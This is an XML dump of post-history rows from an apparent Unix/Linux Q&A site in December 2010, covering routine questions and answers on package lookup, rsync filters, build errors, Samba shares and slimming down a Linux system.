  <row Id="10346" PostHistoryTypeId="2" PostId="4717" RevisionGUID="e189eab5-f8d1-41a0-aceb-fb87128f1f43" CreationDate="2010-12-10T10:33:46.717" UserId="29" Text="Amongst other things... if you want to remove *everything* you don't need. Make sure the filesystem has `atime` fully enabled, you can set this in `/etc/fstab` the current defaults is `relatime` but you want to use just `atime`. Everytime a file is access the timestamp will get updated. Then do some usage for a few days, to see which files have never had their atime updated. I would do all of this in a vm, and very carefully. because I imagine there are a few files that are read when the system is in read-only mode. note: set it to `noatime` once you're ready for production, otherwise you'll do a write everytime you read, this is inefficient.&#xD;&#xA;&#xD;&#xA;Though to be honest, I'd look at [Damn Small Linux](http://www.damnsmalllinux.org/) do you really need to be smaller than that? build based on their distro and simply remove the window manager and a few extra programs.... leave all the command line tools, that way if you ever need to repair or reload you have the shell." />
  <row Id="10347" PostHistoryTypeId="4" PostId="4711" RevisionGUID="e61ee1df-e933-4f9a-9482-b8bcbdadf72c" CreationDate="2010-12-10T11:14:36.310" UserId="2871" Comment="qs" Text="What is the difference between ioctl(), unlocked_ioctl() and compat_ioctl()?" />
  <row Id="10348" PostHistoryTypeId="2" PostId="4718" RevisionGUID="b6b289bd-7733-4d68-85f6-68c246ae3b5e" CreationDate="2010-12-10T11:50:20.170" UserId="2827" Text="I need to manage a growing set of similar-but-different ASCII files.  ( It so happens that they're Apache VirtualHosts, but that's not particularly relevant. )  For each production website, the developers might want as many as four variant configs for a variety of reasons.&#xD;&#xA;&#xD;&#xA;Would you please recommend your favorite templating system?  I know of a few, M4 and Template::Toolkit come to mind.   My most important feature isn't power, it's intuitive operation and elegant simplicity.  &#xD;&#xA;" />
  <row Id="10349" PostHistoryTypeId="1" PostId="4718" RevisionGUID="b6b289bd-7733-4d68-85f6-68c246ae3b5e" CreationDate="2010-12-10T11:50:20.170" UserId="2827" Text="Simple Templating for Config Files" />
  <row Id="10350" PostHistoryTypeId="3" PostId="4718" RevisionGUID="b6b289bd-7733-4d68-85f6-68c246ae3b5e" CreationDate="2010-12-10T11:50:20.170" UserId="2827" Text="éadministrationàétemplatesà" />
  <row Id="10351" PostHistoryTypeId="2" PostId="4719" RevisionGUID="a888b218-3289-487d-aa16-fba58f1f3ab3" CreationDate="2010-12-10T11:58:53.487" UserId="688" Text="Help me find what is causing this failure:&#xD;&#xA;&#xD;&#xA;    make[2]: *** No rule to make target `README', needed by `all-am'.  Stop.&#xD;&#xA;    make[2]: Leaving directory `/home/wena/src/gnome/libcanberra-0.26/doc'&#xD;&#xA;    make[1]: *** [all-recursive] Error 1&#xD;&#xA;    make[1]: Leaving directory `/home/wena/src/gnome/libcanberra-0.26'&#xD;&#xA;    make: *** [all] Error 2&#xD;&#xA;&#xD;&#xA;Output of `./configure`:&#xD;&#xA;&#xD;&#xA;    prefix:                 /usr/local&#xD;&#xA;    sysconfdir:             ${prefix}/etc&#xD;&#xA;    localstatedir:          ${prefix}/var&#xD;&#xA;    Compiler:               gcc -std=gnu99&#xD;&#xA;    CFLAGS:                 -g -O2 -Wall -W -Wextra -pedantic -pipe -Wno-long-long -Winline -Wvla -Wno-overlength-strings -Wunsafe-loop-optimizations -Wundef -Wformat=2 -Wlogical-op -Wsign-compare -Wpacked -Wformat-security -Wmissing-include-dirs -Wformat-nonliteral -Wold-style-definition -Wpointer-arith -Winit-self -Wdeclaration-after-statement -Wfloat-equal -Wmissing-declarations -Wmissing-prototypes -Wstrict-prototypes -Wredundant-decls -Wmissing-noreturn -Wshadow -Wendif-labels -Wstrict-aliasing=2 -Wcast-align -Wwrite-strings -Wno-unused-parameter -ffast-math -Wp,-D_FORTIFY_SOURCE=2 -fno-common -fdiagnostics-show-option -fno-strict-aliasing&#xD;&#xA;    C++-Compiler:           g++&#xD;&#xA;    CXXFLAGS:               -g -O2&#xD;&#xA;    Builtin DSO:            yes&#xD;&#xA;    Enable PulseAudio:      yes&#xD;&#xA;    Builtin PulseAudio:     no&#xD;&#xA;    Enable ALSA:            yes&#xD;&#xA;    Builtin ALSA:           no&#xD;&#xA;    Enable OSS:             yes&#xD;&#xA;    Builtin OSS:            no&#xD;&#xA;    Enable GStreamer:       yes&#xD;&#xA;    Builtin GStreamer:      no&#xD;&#xA;    Enable Null Output:     yes&#xD;&#xA;    Builtin Null Output:    no&#xD;&#xA;    Enable tdb:             no&#xD;&#xA;    Enable lookup cache:    no&#xD;&#xA;    Enable GTK+:            yes&#xD;&#xA;    GTK Modules Directory:  ${exec_prefix}/lib/gtk-2.0/modules&#xD;&#xA;    Enable GTK3+:           yes&#xD;&#xA;    GTK3 Modules Directory: ${exec_prefix}/lib/gtk-3.0/modules&#xD;&#xA;" />
  <row Id="10352" PostHistoryTypeId="1" PostId="4719" RevisionGUID="a888b218-3289-487d-aa16-fba58f1f3ab3" CreationDate="2010-12-10T11:58:53.487" UserId="688" Text="libcanberra is failing to build" />
  <row Id="10353" PostHistoryTypeId="3" PostId="4719" RevisionGUID="a888b218-3289-487d-aa16-fba58f1f3ab3" CreationDate="2010-12-10T11:58:53.487" UserId="688" Text="écompilingà" />
  <row Id="10354" PostHistoryTypeId="2" PostId="4720" RevisionGUID="b74c4b32-358a-4c98-a94a-d18b5526fbd5" CreationDate="2010-12-10T12:07:38.893" UserId="3038" Text="Try [eyeD3][1], found in [this][2] SO answer.&#xD;&#xA;&#xD;&#xA;      --add-image=IMG_PATH:TYPE[:DESCRIPTION]&#xD;&#xA;                          Add an image to the tag.  The description and type&#xD;&#xA;                          optional, but when used, both ':' delimiters must be&#xD;&#xA;                          present.  The type MUST be an string that corresponds&#xD;&#xA;                          to one given with --list-image-types. If the IMG_PATH&#xD;&#xA;                          value is empty the APIC frame with TYPE is removed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://eyed3.nicfit.net/&#xD;&#xA;  [2]: http://stackoverflow.com/questions/1340593/linux-library-to-write-id3v2-data-and-cover-art/1364820#1364820" />
  <row Id="10355" PostHistoryTypeId="2" PostId="4721" RevisionGUID="891bc219-228c-4905-993f-f0395040e276" CreationDate="2010-12-10T12:26:43.143" UserId="3038" Text="Lack of time and support by Novell.&#xD;&#xA;&#xD;&#xA;From a thread in their mailing list:&#xD;&#xA;&#xD;&#xA;&gt; A couple people mentioned whether Novell or Canonical (Ubuntu) would&#xD;&#xA;fund Beagle development.  I used to work at Novell, and I had the&#xD;&#xA;great fortune of working on Beagle pretty much from the start.  For a&#xD;&#xA;couple of years there they paid two full time developers to work on&#xD;&#xA;the project: Jon Trowbridge and myself.  When Jon left the company, it&#xD;&#xA;was just me -- although there was occasional part-time help, like Dan&#xD;&#xA;Winship's excellent work on the search UI.  Since I left Novell nearly&#xD;&#xA;two years ago, there has been none.  I think it's safe to say that&#xD;&#xA;Novell no longer has any dedication to the project.  I don't mean that&#xD;&#xA;as a dig -- having worked on Ximian and SUSE distributions you have to&#xD;&#xA;make strategic and tactical decisions where to put your resources,&#xD;&#xA;since you can't hack full time on everything.  It appears clear that&#xD;&#xA;desktop search hasn't panned out as they thought and that experimental&#xD;&#xA;projects like Dashboard, Association Browser, etc. aren't feasible.&#xD;&#xA;&gt;&#xD;&#xA;&gt;As for Canonical and Ubuntu, a number of releases ago that community&#xD;&#xA;decided to go with Tracker instead of Beagle, I believe in part due to&#xD;&#xA;a major backlash against Mono following the Microsoft/Novell patent&#xD;&#xA;agreement.  Although I think Beagle is still for the moment ahead of&#xD;&#xA;Tracker in terms of core user functionality, Tracker has a vibrant&#xD;&#xA;development community backed by open source companies whereas Beagle's&#xD;&#xA;is completely stagnant and bordering on nonexistent.  If I were an&#xD;&#xA;impartial party trying to decide in which to invest development&#xD;&#xA;resources, Beagle is simply a tougher case to make.&#xD;&#xA;&#xD;&#xA;Read the thread [here][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://mail.gnome.org/archives/dashboard-hackers/2009-September/msg00005.html&#xD;&#xA;" />
  <row Id="10356" PostHistoryTypeId="2" PostId="4722" RevisionGUID="ece318d7-afdf-4b5c-955b-c3d574134a8a" CreationDate="2010-12-10T12:29:43.313" UserId="3039" Text="[root@satish:~/Desktop]$ whatis linux&#xD;&#xA;&#xD;&#xA;linux: nothing appropriate.&#xD;&#xA;" />
  <row Id="10357" PostHistoryTypeId="5" PostId="4705" RevisionGUID="8b44bed4-dc7f-4e32-a290-d1407467b241" CreationDate="2010-12-10T13:48:19.647" UserId="688" Comment="edited body" Text="In the Debian family of OSes, `wajig find-file /bin/ls` gives:&#xD;&#xA;&#xD;&#xA;    coreutils: /bin/ls&#xD;&#xA;&#xD;&#xA;That is, the file `/bin/ls` belongs to the Debian package named __coreutils__.&#xD;&#xA;&#xD;&#xA;What is the Fedora equivalent?" />
  <row Id="10358" PostHistoryTypeId="2" PostId="4723" RevisionGUID="a50dbe85-3469-4a28-83cb-26ccd72619e1" CreationDate="2010-12-10T13:51:12.290" UserId="3002" Text="My favorites:&#xD;&#xA;&#xD;&#xA;    UNIX is basically a simple operating system, but you have to be a genius to &#xD;&#xA;    understand the simplicity.&#xD;&#xA;        Dennis Ritchie&#xD;&#xA;&#xD;&#xA;And:&#xD;&#xA;&#xD;&#xA;    One of my most productive days was throwing away 1000 lines of code.&#xD;&#xA;        Ken Thomson" />
  <row Id="10359" PostHistoryTypeId="2" PostId="4724" RevisionGUID="0941a1b2-12ec-4380-bf71-c063e9776341" CreationDate="2010-12-10T13:58:24.217" UserId="3023" Text="I have a Windows 2003 server and need to poll the DHCP lease information from it with a perl script that is running on a Ubuntu server. Then I need to analyze &amp; store the information in a mysql database. Is there a way to query the leases from a perl script? I can figure out how to process the info after I get it. Thanks." />
  <row Id="10360" PostHistoryTypeId="1" PostId="4724" RevisionGUID="0941a1b2-12ec-4380-bf71-c063e9776341" CreationDate="2010-12-10T13:58:24.217" UserId="3023" Text="Query DHCP server leases from Perl script" />
  <row Id="10361" PostHistoryTypeId="3" PostId="4724" RevisionGUID="0941a1b2-12ec-4380-bf71-c063e9776341" CreationDate="2010-12-10T13:58:24.217" UserId="3023" Text="éubuntuàéwindowsàédhcpàéperlà" />
  <row Id="10362" PostHistoryTypeId="2" PostId="4725" RevisionGUID="e4ec0d64-cd09-44c0-bc2d-6ccffd74d778" CreationDate="2010-12-10T14:08:18.120" UserId="3040" Text="I have:&#xD;&#xA;&#xD;&#xA; 1. Ubuntu 10.10&#xD;&#xA; 2. Windows 7 in virtual box (let's call this vbox)&#xD;&#xA; 3. Then another Windows 7 machine (let's call this remote) in the network&#xD;&#xA;&#xD;&#xA;When I'm on vbox and browse (\\ip.of.remote) I'm able to see the shared drives. No password was setup, and none was asked. When on Ubuntu, and I go to smb://ip.of.remote it asks for username/password.&#xD;&#xA;&#xD;&#xA;How do I fix this?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="10363" PostHistoryTypeId="1" PostId="4725" RevisionGUID="e4ec0d64-cd09-44c0-bc2d-6ccffd74d778" CreationDate="2010-12-10T14:08:18.120" UserId="3040" Text="From Ubuntu 10.10, how do you connect to a Windows 7 share without a password setup?" />
  <row Id="10364" PostHistoryTypeId="3" PostId="4725" RevisionGUID="e4ec0d64-cd09-44c0-bc2d-6ccffd74d778" CreationDate="2010-12-10T14:08:18.120" UserId="3040" Text="éubuntuàéwindowsàésambaà" />
  <row Id="10365" PostHistoryTypeId="2" PostId="4726" RevisionGUID="bbcaa5a5-b8d7-427d-8b2d-187749d10814" CreationDate="2010-12-10T14:28:49.597" UserId="252" Text="You can try providing `guest` as username and no password.&#xD;&#xA;&#xD;&#xA;It seems to me that sometimes Ubuntu forgets to try with the guest credentials." />
  <row Id="10366" PostHistoryTypeId="2" PostId="4727" RevisionGUID="bc812324-3504-47a1-b65f-dea3cb67a3bf" CreationDate="2010-12-10T15:29:12.650" UserId="3032" Text="Try installing `ubuntu-restricted-extras`. Ubuntu can't play MP3's and other closed-source encoders (AAC is one of them). You might even have to add a repository, but since I always enable all of those repos, this command worked for me:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install ubuntu-restricted-extras&#xD;&#xA;&#xD;&#xA;If you don't like the CLI too much, click here to open up Software Installer and do it via a GUI interface: [apt:ubuntu-restricted-extras?section=universe?section=multiverse][1].&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, if you're planning to play DVD's too, you might need to install the DVD decoders, as they are not included by default. To do that, run this (no GUI here):&#xD;&#xA;&#xD;&#xA;    sudo /usr/share/doc/libdvdread4/install-css.sh&#xD;&#xA;&#xD;&#xA;  [1]: http://apt:ubuntu-restricted-extras?section=universe?section=multiverse" />
  <row Id="10367" PostHistoryTypeId="5" PostId="4727" RevisionGUID="e6a0f0df-76dd-48cb-bca2-0881fe54b7cf" CreationDate="2010-12-10T15:53:15.280" UserId="3032" Comment="added 453 characters in body" Text="Try installing `ubuntu-restricted-extras`. Ubuntu can't play MP3's and other closed-source encoders (AAC is one of them). You might even have to add a repository, but since I always enable all of those repos, this command worked for me:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install ubuntu-restricted-extras&#xD;&#xA;&#xD;&#xA;If you don't like the CLI too much, click here to open up Software Installer and do it via a GUI interface: [apt:ubuntu-restricted-extras?section=universe?section=multiverse][1].&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, if you're planning to play DVD's too, you might need to install the DVD decoders, as they are not included by default. To do that, run this (no GUI here):&#xD;&#xA;&#xD;&#xA;    sudo /usr/share/doc/libdvdread4/install-css.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm running out of ideas, but maybe these packages would work? I did some research, and these seemed to fix the problems you're having back in 2007, so the versions might have changed. If you're up to installing more random packages in a frantic attempt to play Apple's ridiculous format, here you go:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install gstreamer0.10-plugins-bad-multiverse gstreamer0.10-plugins-bad faad libfaad2-0&#xD;&#xA;&#xD;&#xA;Good luck, once more.&#xD;&#xA;  [1]: http://apt:ubuntu-restricted-extras?section=universe?section=multiverse" />
  <row Id="10368" PostHistoryTypeId="2" PostId="4728" RevisionGUID="a1416da5-70a2-49ae-825b-1e5719a533fa" CreationDate="2010-12-10T16:05:21.527" UserId="3032" Text="I've been building LFS/BLFS for about a month now, with multiple failures and almost successes, and I've just been informed that there exist Xorg-like window systems that are incredibly tiny, as Xorg's LFS build is over *200MB of just source packages*.&#xD;&#xA;&#xD;&#xA;I Googled around the web, but the Wikipedia article on TinyX pointed me to a nonexistent home page for a nice Xorg clone.&#xD;&#xA;&#xD;&#xA;I'm looking to build a DSL-like distro (truthfully, it's a faster clone of ChromeOS), and I've got everything except a X server ready.&#xD;&#xA;&#xD;&#xA;What I was looking for was the following:&#xD;&#xA;&#xD;&#xA; - Something that's reasonably small, as I was hoping to get my distro down to 50MB when it is compressed.&#xD;&#xA; - Something that is fairly compatible with the normal X server (I don't know what I'm talking about, but I was hoping for something that works with any X application).&#xD;&#xA; - Something that will work fully (no hiccups!) with OpenBox or FluxBox (preferably OpenBox, as I've almost made my theme for it).&#xD;&#xA; - Something that works with Plymouth, as an epic boot screen make a bad operating system look good in the eyes of simple users.&#xD;&#xA;&#xD;&#xA;Also, as a side question, how do I package my final build? I've build a small rendering system which I wish to distribute, but I can't figure out how to make an ISO out of it, like Ubuntu or DSL.&#xD;&#xA;&#xD;&#xA;I know this is a lot, but I can't really find a better place to ask this sort of question.&#xD;&#xA;&#xD;&#xA;Thank you very much!" />
  <row Id="10369" PostHistoryTypeId="1" PostId="4728" RevisionGUID="a1416da5-70a2-49ae-825b-1e5719a533fa" CreationDate="2010-12-10T16:05:21.527" UserId="3032" Text="[LFS] What is the most compatible tiny X server?" />
  <row Id="10370" PostHistoryTypeId="3" PostId="4728" RevisionGUID="a1416da5-70a2-49ae-825b-1e5719a533fa" CreationDate="2010-12-10T16:05:21.527" UserId="3032" Text="élinuxàéxorgàéwindowömanageràéopenboxà" />
  <row Id="10371" PostHistoryTypeId="2" PostId="4729" RevisionGUID="c524cee5-de23-49ef-be53-4963bd6b240f" CreationDate="2010-12-10T16:28:10.190" UserId="732" Text="Xfree86 (http://www.xfree86.org/) includes &quot;tiny&quot; X servers in their build.  I believe they are video-card-specific, in that there's an MGA server, and an ATI server, etc etc.  No loadable modules.&#xD;&#xA;&#xD;&#xA;I have built XFree86 from source a coule of years ago (under Slackware 3.2!) but I don't think I tried the &quot;tiny&quot; servers to see if they worked.  The rest of the compile worked fine.&#xD;&#xA;&#xD;&#xA;I tried XFree86 under a more modern (2.6.35, I think) Linux kernel and distro this summer, and it would not compile without significant source mods, some of which didn't seem at all clear how to do to me.  So, I can't say if Xfree86 would meet your needs or not." />
  <row Id="10372" PostHistoryTypeId="2" PostId="4730" RevisionGUID="6d38ad86-52af-4e68-8aae-10febf1df2eb" CreationDate="2010-12-10T18:45:55.590" UserId="885" Text="Actively use your system for a while with file access times enabled. See what files never have their access time modified. These are candidates for deletion (but make sure there isn't a reason to keep them, e.g. because they're hardware drivers for hardware you don't have, or they're needed early in the boot process).&#xD;&#xA;&#xD;&#xA;Since you'll have few big applications, check what libraries are used by a single executable. Consider linking them statically.&#xD;&#xA;&#xD;&#xA;    ldd /bin/* /usr/bin/* |sed -n 's/^.* =&gt; \(.*\) (.*)$/\1/p' |sort |uniq -c&#xD;&#xA;" />
  <row Id="10373" PostHistoryTypeId="5" PostId="4719" RevisionGUID="8f2e9dda-fad1-4375-abf7-5f3f4ae9e0f3" CreationDate="2010-12-10T18:46:27.147" UserId="688" Comment="extra info" Text="I got version 0.26 from [libcanberra site][1], and running `make` gives:&#xD;&#xA;&#xD;&#xA;    make[2]: *** No rule to make target `README', needed by `all-am'.  Stop.&#xD;&#xA;    make[2]: Leaving directory `/home/wena/src/gnome/libcanberra-0.26/doc'&#xD;&#xA;    make[1]: *** [all-recursive] Error 1&#xD;&#xA;    make[1]: Leaving directory `/home/wena/src/gnome/libcanberra-0.26'&#xD;&#xA;    make: *** [all] Error 2&#xD;&#xA;&#xD;&#xA;Output of `./configure`:&#xD;&#xA;&#xD;&#xA;    prefix:                 /usr/local&#xD;&#xA;    sysconfdir:             ${prefix}/etc&#xD;&#xA;    localstatedir:          ${prefix}/var&#xD;&#xA;    Compiler:               gcc -std=gnu99&#xD;&#xA;    CFLAGS:                 -g -O2 -Wall -W -Wextra -pedantic -pipe -Wno-long-long -Winline -Wvla -Wno-overlength-strings -Wunsafe-loop-optimizations -Wundef -Wformat=2 -Wlogical-op -Wsign-compare -Wpacked -Wformat-security -Wmissing-include-dirs -Wformat-nonliteral -Wold-style-definition -Wpointer-arith -Winit-self -Wdeclaration-after-statement -Wfloat-equal -Wmissing-declarations -Wmissing-prototypes -Wstrict-prototypes -Wredundant-decls -Wmissing-noreturn -Wshadow -Wendif-labels -Wstrict-aliasing=2 -Wcast-align -Wwrite-strings -Wno-unused-parameter -ffast-math -Wp,-D_FORTIFY_SOURCE=2 -fno-common -fdiagnostics-show-option -fno-strict-aliasing&#xD;&#xA;    C++-Compiler:           g++&#xD;&#xA;    CXXFLAGS:               -g -O2&#xD;&#xA;    Builtin DSO:            yes&#xD;&#xA;    Enable PulseAudio:      yes&#xD;&#xA;    Builtin PulseAudio:     no&#xD;&#xA;    Enable ALSA:            yes&#xD;&#xA;    Builtin ALSA:           no&#xD;&#xA;    Enable OSS:             yes&#xD;&#xA;    Builtin OSS:            no&#xD;&#xA;    Enable GStreamer:       yes&#xD;&#xA;    Builtin GStreamer:      no&#xD;&#xA;    Enable Null Output:     yes&#xD;&#xA;    Builtin Null Output:    no&#xD;&#xA;    Enable tdb:             no&#xD;&#xA;    Enable lookup cache:    no&#xD;&#xA;    Enable GTK+:            yes&#xD;&#xA;    GTK Modules Directory:  ${exec_prefix}/lib/gtk-2.0/modules&#xD;&#xA;    Enable GTK3+:           yes&#xD;&#xA;    GTK3 Modules Directory: ${exec_prefix}/lib/gtk-3.0/modules&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://0pointer.de/lennart/projects/libcanberra/" />
  <row Id="10374" PostHistoryTypeId="5" PostId="4706" RevisionGUID="97c0bebe-2f91-48a8-9e78-06158899abac" CreationDate="2010-12-10T18:54:14.313" UserId="1020" Comment="added 233 characters in body" Text="You can use `rpm -qf /bin/ls` to figure out what package your installed version belongs to:&#xD;&#xA;&#xD;&#xA;    [09:46:58] ~ $ rpm -qf /bin/ls&#xD;&#xA;    coreutils-8.5-7.fc14.i686&#xD;&#xA;    [09:47:01] ~ $ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:** Per your comment, the following should work if you want only the name of the package (I just got a chance to test):&#xD;&#xA;&#xD;&#xA;    [01:52:49] ~ $ rpm -qf /bin/ls --queryformat '%{NAME}\n'&#xD;&#xA;    coreutils&#xD;&#xA;    [01:52:52] ~ $ &#xD;&#xA;&#xD;&#xA;You can also use `yum provides /bin/ls` to get a list of all available repository packages that will provide the file:&#xD;&#xA;&#xD;&#xA;    [09:47:01] ~ $ yum provides /bin/ls&#xD;&#xA;    Loaded plugins: fastestmirror, langpacks, presto, refresh-packagekit&#xD;&#xA;    Adding en_US to language list&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;     * fedora: archive.linux.duke.edu&#xD;&#xA;     * rpmfusion-free: mirrors.tummy.com&#xD;&#xA;     * rpmfusion-free-updates: mirrors.tummy.com&#xD;&#xA;     * rpmfusion-nonfree: mirrors.tummy.com&#xD;&#xA;     * rpmfusion-nonfree-updates: mirrors.tummy.com&#xD;&#xA;     * updates: mirror.vcu.edu&#xD;&#xA;    coreutils-8.5-6.fc14.i686 : A set of basic GNU tools commonly used in shell&#xD;&#xA;                              : scripts&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Matched from:&#xD;&#xA;    Filename    : /bin/ls&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    coreutils-8.5-7.fc14.i686 : A set of basic GNU tools commonly used in shell&#xD;&#xA;                              : scripts&#xD;&#xA;    Repo        : updates&#xD;&#xA;    Matched from:&#xD;&#xA;    Filename    : /bin/ls&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    coreutils-8.5-7.fc14.i686 : A set of basic GNU tools commonly used in shell&#xD;&#xA;                              : scripts&#xD;&#xA;    Repo        : installed&#xD;&#xA;    Matched from:&#xD;&#xA;    Other       : Provides-match: /bin/ls&#xD;&#xA;&#xD;&#xA;    [09:47:01] ~ $&#xD;&#xA;" />
  <row Id="10375" PostHistoryTypeId="2" PostId="4731" RevisionGUID="18c8bf94-69f4-4573-9353-90b2090d359e" CreationDate="2010-12-10T18:58:15.277" UserId="885" Text="    rsync -a --include='*.txt' --include='*.jpg' --exclude='*' root@somewhere:/folder/remote/ .&#xD;&#xA;&#xD;&#xA;(Note that the final `/` in `/folder/remote/`, and the placement of `--exclude='*'` after the include rules, are important.) In shells that support brace expansion (e.g. bash, ksh, zsh):&#xD;&#xA;&#xD;&#xA;    rsync -a --include='*.'{txt,jpg} --exclude='*' root@somewhere:/folder/remote/ .&#xD;&#xA;&#xD;&#xA;Add `--include='*/' --prune-empty-dirs` if you want to copy files in subdirectories as well.&#xD;&#xA;" />
  <row Id="10376" PostHistoryTypeId="2" PostId="4732" RevisionGUID="a0b8eb59-4a71-45a7-a5ec-93569c10734b" CreationDate="2010-12-10T19:19:02.203" UserId="885" Text="You're probably missing the [GTK-Doc](http://www.gtk.org/gtk-doc/) tools to generate documentation.&#xD;&#xA;&#xD;&#xA;One way to find out these dependencies by looking at what distributions do to build the package. For example on [Debian](http://packages.debian.org/sid/libcanberra0), in [`debian/control`](http://ftp.de.debian.org/debian/pool/main/libc/libcanberra/libcanberra_0.24-1.diff.gz), the dependencies (except Debian-specific stuff) are &#xD;&#xA;&#xD;&#xA;&gt; m4, libltdl-dev | libltdl7-dev (&gt;= 2.2.6), libasound2-dev, libvorbis-dev, libgtk2.0-dev (&gt;= 2.20), tdb-dev (&gt; 1.1), gtk-doc-tools, libpulse-dev (&gt;= 0.9.11), libgstreamer0.10-dev (&gt;= 0.10.15)&#xD;&#xA;" />
  <row Id="10377" PostHistoryTypeId="2" PostId="4733" RevisionGUID="b10126bc-1118-43b7-81ed-c72ad39cdef7" CreationDate="2010-12-10T19:47:21.633" UserId="885" Text="Meta-answer 1: if there used to be a `foo`, and there's now an `unwibbled_foo` and a `compat_foo`, you can bet that the former foo was wibbled, and now unwibbled foo is preferred but there are people who still require a wibbled foo. So, until everyone can cope with unwibbled foo, `foo` is remapped to `compat_foo`.&#xD;&#xA;&#xD;&#xA;Meta-answer 2: All the raw stuff happening to the Linux kernel goes through [lkml (the Linux kernel mailing list)](http://lkml.org/). For explicative summaries, read or search [lwn (Linux weekly news)](http://lwn.net/).&#xD;&#xA;&#xD;&#xA;Answer: From [The new way of ioctl()](http://lwn.net/Articles/119652/) by [Jonathan Corbet](http://lwn.net/Kernel/LDD3/):&#xD;&#xA;&#xD;&#xA;&gt; `ioctl()` is one of the remaining parts of the kernel which runs under the Big Kernel Lock (BKL). In the past, the usage of the BKL has made it possible for long-running `ioctl()` methods to create long latencies for unrelated processes.&#xD;&#xA;&#xD;&#xA;Follows an explanation of the patch that introduced `unlocked_ioctl` and `compat_ioctl`. The [removal of the `ioctl` field](http://lwn.net/Articles/394724/) happened a lot later.&#xD;&#xA;" />
  <row Id="10378" PostHistoryTypeId="2" PostId="4734" RevisionGUID="22caeea8-b00c-49cf-8642-8812a08df3c0" CreationDate="2010-12-10T19:48:47.517" UserId="3003" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I have an application running on the server started from command line. Remotely time to time, i need to connect to the server via ssh and I should get the output messages wrote from the application. Is there a way to read/sniff/catch the messages on that terminal? Server runs Fedora 12. &#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;Luke" />
  <row Id="10379" PostHistoryTypeId="1" PostId="4734" RevisionGUID="22caeea8-b00c-49cf-8642-8812a08df3c0" CreationDate="2010-12-10T19:48:47.517" UserId="3003" Text="Fedora - how sniff another terminal" />
  <row Id="10380" PostHistoryTypeId="3" PostId="4734" RevisionGUID="22caeea8-b00c-49cf-8642-8812a08df3c0" CreationDate="2010-12-10T19:48:47.517" UserId="3003" Text="élinuxàéfedoraàéterminalà" />
  <row Id="10381" PostHistoryTypeId="5" PostId="4734" RevisionGUID="dc309a76-62a8-486a-9a84-345cc56391c9" CreationDate="2010-12-10T19:55:49.033" UserId="73" Comment="deleted 23 characters in body; edited tags; edited title; edited title" Text="I have an application running on a server, started from the command line. From time to time, I need to connect to the server via SSH and get the output messages written to stdout from the application. Is there a way to read/sniff/catch the messages on that terminal? The server runs Fedora 12. &#xD;&#xA;" />
  <row Id="10382" PostHistoryTypeId="4" PostId="4734" RevisionGUID="dc309a76-62a8-486a-9a84-345cc56391c9" CreationDate="2010-12-10T19:55:49.033" UserId="73" Comment="deleted 23 characters in body; edited tags; edited title; edited title" Text="How to get output from a remote shell" />
  <row Id="10383" PostHistoryTypeId="6" PostId="4734" RevisionGUID="dc309a76-62a8-486a-9a84-345cc56391c9" CreationDate="2010-12-10T19:55:49.033" UserId="73" Comment="deleted 23 characters in body; edited tags; edited title; edited title" Text="élinuxàéterminalàéioà" />
  <row Id="10384" PostHistoryTypeId="5" PostId="4701" RevisionGUID="f40c549a-245d-4562-b6f0-a3dfb1948d8a" CreationDate="2010-12-10T20:05:11.177" UserId="4" Comment="Fix typo." Text="Here's what I use on Ubuntu 10.04, CentOS 5.5, FreeBSD and Mac OS X.&#xD;&#xA;&#xD;&#xA;I borrowed the idea from [www.geekology.co.za/][1] and [earthinfo.org][2], as well as the infamous [ducks][3] from &quot;Linux Server Hacks&quot; by O'Reilly. I am still adapting it to my needs. This is still a work in progress (As in, I was working on this on the train this morning.):&#xD;&#xA;&#xD;&#xA;    #! /usr/bin/env bash&#xD;&#xA;    ducks () {&#xD;&#xA;        du -cks -x | sort -n | while read size fname; do&#xD;&#xA;            for unit in k M G T P E Z Y; do&#xD;&#xA;                if [ $size -lt 1024 ]; then&#xD;&#xA;                    echo -e &quot;${size}${unit}\t${fname}&quot;&#xD;&#xA;                    break&#xD;&#xA;                fi&#xD;&#xA;                size=$((size/1024))&#xD;&#xA;            done&#xD;&#xA;        done&#xD;&#xA;    }&#xD;&#xA;    ducks &gt; .ducks &amp;&amp; tail .ducks&#xD;&#xA;&#xD;&#xA;Here's the output:&#xD;&#xA;&#xD;&#xA;    stefan@darwin:~ $ ducks&#xD;&#xA;    32M	src&#xD;&#xA;    42M	.cpan&#xD;&#xA;    43M	.macports&#xD;&#xA;    754M	doc&#xD;&#xA;    865M	Work&#xD;&#xA;    1G	.Trash&#xD;&#xA;    4G	Library&#xD;&#xA;    17G	Downloads&#xD;&#xA;    30G	Documents&#xD;&#xA;    56G	total&#xD;&#xA;    &#xD;&#xA;    stefan@darwin:~ $&#xD;&#xA;&#xD;&#xA;  [1]: http://www.geekology.co.za/blog/2009/06/checking-directory-sizes-on-bash-command-line/&#xD;&#xA;  [2]: http://www.earthinfo.org/linux-disk-usage-sorted-by-size-and-human-readable/&#xD;&#xA;  [3]: http://oreilly.com/pub/h/15" />
  <row Id="10385" PostHistoryTypeId="5" PostId="4594" RevisionGUID="72868fcc-c4b3-453c-82a2-31d40183452a" CreationDate="2010-12-10T20:26:00.977" UserId="73" Comment="deleted 1 characters in body" Text="There is also `vimdiff` (with its GUI version `gvimdiff`)." />
